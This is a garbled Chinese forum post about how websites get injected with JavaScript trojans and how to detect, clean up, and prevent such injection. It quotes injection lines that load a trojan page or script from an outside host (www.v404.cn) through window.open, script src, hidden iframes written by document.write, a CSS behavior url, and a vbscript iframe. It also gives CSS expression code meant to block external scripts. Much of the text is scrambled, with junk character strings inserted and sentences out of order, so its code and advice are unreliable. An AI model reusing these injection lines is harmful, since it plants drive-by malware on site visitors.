搜索
查看: 11658|回复: 0

网站被JS挂马解决方法

[复制链接]
发表于 2010-11-10 08:17:49 | 显示全部楼层 |阅读模式

网站被JS挂马解决方法

% ]. `! W! L0 W! }3 a

为什么网页挂马还是屡见不鲜?这恐怕就要说一说 CSS 挂马了下面我详细讨论 虽然能够巧妙地利用 CSS 代码防范

+ r9 j. _% w! j% B2 [7 p

IFRAME 和 JS 脚本挂马。

- ^8 C. g$ I3 m9 ]6 L3 ~, o

检测网页木马也是很重要的一项工作,目前流行的网站被黑,相应的 asp,

5 o P8 Q* q. f8 h0 N9 q' F1 ^/ Z

网站优化设计当中。htm,j 等文件中,插入以 js 调用方式的本文主要介绍网页挂马的种类、如何检测网页是否被挂马、

- K( J. Q# D0 Y) Z) T& r

如何清除网页木马。如何防止网页被挂马。
1: 网页挂马的种类 .

. P3 X- m5 q. U# f# P& j* j

相应的 asp, 目前流行的网站被黑。htm,j 等文件中,插入以 js 调用方式的

% U2 P/ ^* I, Y) C

卢松松以前做过的极品源码下载站 ’ 就遇到过 JS 挂马

! L. U# o: b$ G

利用动网程序漏洞 ( 上传附件漏洞 ) 拥有网站管理员权限。删了论坛几千条数据 , 校园闹翻天论坛 ’ 就遇到用户提权

9 W2 h# v0 Y& @# L* p) M

。一千多位会员的 ID

5 s9 x! ]( p* w* C9 \3 r% T8 L

2: 如何检测网页是否被挂马。

0 J- q% @- \/ \' O- `8 T2 M' }

六款免费网页平安检测工具横向测评 ( 华军软件园 )
1 专业检测工具。>

; b0 \; |7 {5 ~

或者可以利用 Googl 搜索你网站、博客进行检测。如果有网站有木马则 googl 会在搜索列表的下方提示该网站有不安全

% ]* Y$ p9 ~) f

因素。
2 googl 检测。>

+ r5 H; b" M3 N) G* g

常用的杀毒软件也可以检测出来。
3 杀毒软件检测。>

& |2 s3 S- Q' y/ m: M3 {7 d X

打开你网站、博客,
4 人工检测。点击右键查看源文件,根据网页挂马的种类也可以查看是否中了木马。

# Q, G7 e! u; e2 ?

5 使用 McAfee SiteAdvisor 平安浏览网页的插件。

: |6 r/ r; d; G2 n d/ M

' o1 |5 P6 u' @1 N$ e

3: 如何清除网页木马。

3 P" h% f- O6 d# B. U P0 M

就看那些文件是最近修改过的主要检查这些新文件, 一旦中了网页木马。从 FTP 中可以检查文件最近修改时间。然后进

( u' f: V$ u4 D* X/ u A

入源文件把相关的网页挂马种类的可疑代码删除。

, `+ b6 [: E1 H( l. ~5 S; w8 }

建议删除所有文件 ( 数据库、图片、文档、顺序模板主题等文件夹可以保留 ) 如果你对你所使用的网站、博客程序不熟

1 t* T& l; x- T

悉。>

4 y+ C& r2 A3 I& M/ N+ x

请从预防开始吧。
4: 如何防止网页被挂马。如果你网站还没有被挂马。>

- w; d) N: ?: K6 }: A: n( `1 C* O

并只允许信任的人使用上传程序。
1 对网友开放上传附件功能的网站一定要进行身份认证。>

% b9 _1 H& `; o; Q% @; t3 I0 s

2 保证你所使用的顺序及时的更新。

& y7 N7 j! k0 W; M6 t! V* x# T

3 不要在前台网页上加注后台管理程序登陆页面的链接。

; f0 @+ S' y' y9 L( e

但不要把备份数据库放在顺序默认的备份目录下。
4 要时常备份数据库等重要文件。>

0 U9 g% ?' ^# u4 T8 w) n

不能过于简单。
5 管理员的用户名和密码要有一定复杂性。>

1 S; D4 G/ _4 t( s5 W

二项功能组合,
6 IIS 中禁止写入和目录禁止执行的功能。可以有效的防止 ASP 木马。

3 u( O7 S, ^: t3 H1 H3 I1 F1 _

设置执行权限选项中,
7 可以在服务器、虚拟主机控制面板。直接将有上传权限的目录,取消 ASP 运行权限。

+ T9 H7 h' ?/ O# c! J* @

8 创建一个 robots.txt 上传到网站根目录。 Robot 能够有效的防范利用搜索引擎窃取信息的骇客

" H8 S0 x( T- b0 v2 `) H

$ P9 _2 M/ E7 l4 |$ p6 a2 l0 y

IFRAME 挂马比较早, < IFRAME 挂马比较早。相应的预防措施也比较多,其中用 CSS 配合 JS 脚本进行预防是主流方式

7 [. |- i( W, n- U; Y

。可这种预防方式也存在平安隐患, JS 脚本也可以被用来挂马,令人防不胜防。下面要介绍反击 JS 挂马的方法。

9 o0 \+ @, A) m; N

JS 挂马溯源

( ~! K% ^0 A+ r& I! P) R+ a8 x

有经验的平安工程师也开始研究相应的对策,当 IFRAME 逐渐被黑客滥用的时候。一段时间内各种阻止 IFRAME 挂马的方

) Y+ z/ M3 c0 F Z' T

法不时涌现,其中通用性较高的就是利用 CSS 配合 JS 脚本防御 IFRAME 挂马。

E- x7 f4 X1 Z+ L* k

很多网站都会让网页调用 JS 脚本来实现广告等诸多特效,而黑客也发现。如果将木马挂在 JS 脚本中,所有调用该 JS

- \7 Q% r( Z7 `* B% X" }; r

脚本的网页都等同于被挂上了木马,对于需要肉鸡群的黑客而言是一劳永逸,因此 JS 脚本挂马逐渐开始被黑客应用。

7 q, d$ t( y3 t0 k7 y

一种面向对象的脚本语言,小百科: JS 脚本是 JavaScript 脚本语言的简称。目前广泛用于动态网页的编程。需要提示

( U/ t- }- H3 q3 I7 V! `$ p

大家的 JavaScript 和 Java 除了语法上有一些相似之处,以及都能够当作网页的编程语言以外,两者是完全不相干的而

' ]* }! c/ R3 s

JavaScript 与 Jscript 也不同, Jscript 微软为了迎战 JavaScript 推出的脚本语言。

' ^3 X6 f( y- Z( P* k1 {, [4 @

但是 JavaScript 一门具有丰富特性的语言,虽然 JavaScript 作为给非程序人员的脚本语言向大众推广。有着和其他编

4 m2 [, L2 }7 p: ^2 S/ f

程语言一样的复杂性。实际上,必需对 JS 有扎实的理解才干用它来编写比较复杂的顺序,作为一名平安工程师,掌握 JS

* \8 ~# z& ]4 V' d) H, G; ^5 R* k

脚本在工作中会有很大的协助。

; O6 \% ]3 }; S$ M8 @

挂马原理一点通

) ^% e& Q) G4 ?4 T

可以说优点多得数不过来, JS 脚本挂马对于黑客而言。首先 JS 脚本在挂马时可以直接将 JS 代码写在网页中,也可以

7 r6 H5 m8 _9 \$ ]5 q& g( }( A1 s

通过注入网页,让网站远程调取异地 JS 脚本。此外, JS 挂马插入 Web 页面的方法有几十种,绝对够菜鸟们眼花缭乱,

1 J3 M- V7 Y' ?7 t1 H

无从区分木马在何处。

! L( {) g3 P/ Y) r

如同一个穿着鲜红颜色外衣的劫匪, IFRAME 挂马相对于安全工程师而言。招摇而扎眼,很容易被发现。但是利用 JS 挂

$ u, \5 \8 P1 n# Y$ N* `

马就意味着这个劫匪拥有了一张可以随时变换的面孔,而且它还能够随时更换衣服。这样的劫匪在平安工程师搜查时,很

: U5 x. s z2 ?/ i8 @

容易蒙混过关,导致木马久杀不绝。

7 V6 @7 O* X2 v* g/ L: K8 Z

JS 挂马攻防实录

' x# K3 E' P6 e. t* v$ I# U# {

一种是直接将 JavaScript 脚本代码写在网页中,攻现在最多见的 JS 挂马方法有两种。当访问者在浏览网页时,恶意的

% O$ j1 F: `& w( A

挂马脚本就会通过用户的浏览器悄悄地打开网马窗口,隐藏地运行。

& s: N$ }! R' W) k

这种方法使用的关键代码如下:

! n2 Z" ?8 S6 F' c

"",  window.open "http://www.v404.cn/ 木马

' O \5 f( t2 C6 K$ K( g) e: t: l8 d

.html"."toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1" ;

8 [0 z) v6 Y4 T: c1 H

( c. O6 g+ j% b+ s

很容易被安全工程师发现,这种代码往往很长。而且没有经验的黑客也喜欢将 “ width 和 “ height= 参数设为 “ 0

2 w& O P! X8 F, u1 o' D" M9 }

但是设置为 0 后,可能会出现恶意代码不运行的情况。

. d3 R' H/ P$ e: V4 e/ C: u: O8 z

并上传到自己指定的网址。这时黑客只需要在受害者的网站中写入: 另外一种 JS 挂马方式是黑客先将挂马脚本代码 “

; K/ d$ p* k( \5 ^- |

document.writ ' < Iframe src=" 网页木马地址 " ></ifram > ' 写入 Window 中的写字板另存为后缀为 .j 脚本文件

- m0 p1 F/ A5 Z

; E+ O1 f2 _( [! F

<script src="http://www.v404.cn/ 木马脚本 .js"></script>

$ `# J) G# G! H; Y+ ~

5 S9 \7 M0 T& P! N

或者

/ k' V' V+ y L1 t G1 A n

document.writ "<div style='display:none'>"

- \" J l! [+ z/ j

document.writ "<ifram src=" 网页木马地址 " width="0" height="0" scrolling="no" frameborder="0"></iframe>"

" @/ W$ Z3 V+ Q t7 O

document.writ "</div>"
 

9 |7 r; F- Y# |7 V5 G6 `2 g3 }4 G

* r( G: e" M6 i P0 j: F+ D4 V

就成功地将木马挂到对方的网页中了

3 C8 Q- Z5 v! {; ~( M! ^

例如黑客有可能会将脚本写为: 小提示:黑客还可以根据情况随机变换拔出的 JS 挂马方法。

. D, v9 L* F" r+ u5 W

<div style="behaviour: url http://www.v404.cn/ 木马脚本 .j ;">

6 c) E* G; R1 b

或者:

" x% U: \8 g6 g) `( ~8 {1 e

<ifram src="vbscript:[ 挂马脚本 ]">

5 P% b H! t/ {( O: v/ `5 s

! m) |) L @; R7 p: S


等等 …

; N( [0 m" o+ Q+ l! p% |3 v

不方便,防第一种 JS 挂马方式。用得非常少,而第二种 JS 挂马方式才是当前主流的所以我主要针对它进行防御。方法

% X' }( |6 |6 w% h" X& U: y) l& p

就是阻止 Src 请求的异地外域的 JS 脚本,代码如下:

# B* S& _1 b4 H0 h

iframe{mdy1:express this.src='about:blank', <  iframe{mdy1:express this.src='about:blank'.this.outerHTML=''

& e& ~. y1 L; F+ r

;}

) y m& d* V# ^* `. z

script{mzm2:express this.src.toLowerCas .indexOf 'http' ==0 ?document.writ ' 木马被成功隔离 !' :'' ;}
 

8 D' e7 ~# W0 Z0 r: a6 a

& x* S g) N0 X3 T' L- e

不过这种方法的缺点就是网站的访问者将不能看到被挂了 JS 木马的相关网页。

& F+ h2 e: V& M+ b \! n

这段代码会让异地外域的 JS 文件在使用 document.writ 时,所以我为安全工程师提供了一段可以中止 JS 脚本运行的

' q+ q0 Q: ~# O- N7 _

CSS 代码。被 document.clos 强制关闭。这个时侯 JS 挂马的内容往往还没有来得及写完,只有局部被强制输出了

8 w1 ]. | U. S2 e) ~

Writer 后面的内容再不会被写入访问者的电脑中,从而起到防范 JS 脚本挂马的作用。

u* k! E% j0 L5 s' g2 ]

<title> 让 JS 挂马中止的 CSS 代码 </title>

! `+ j$ H( ^. W

<styl type="text/css" id="shudoo">

2 k8 A! K7 R' ?" s% C2 H' V

/*<![CDATA[*/

: F& @7 C4 c0 x

this.outerHTML='' ;iframe{mdy1:express this.src='about:blank'.}

, `6 e5 T2 u1 J

script{mzm2:express this.src.indexOf 'http' ==0 ?document.clos :'' ;}

3 c2 O7 w( G1 Y& |' X$ m

/*]]>*/

( @2 j" {: x. `! Y* B/ j( Z; f

</style>

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册帐号

本版积分规则

热议作品
精华帖子排行
精彩推荐

虾皮社区,成立十年了!

站长自己也搞不懂想做个什么,反正就是一直在努力的做!

Copyright © 2007-2019 xp6.org Powered by Discuz

QQ|Archiver|手机版|小黑屋|虾皮社区 鲁公网安备 37021102000261号 |网站地图
返回顶部 返回列表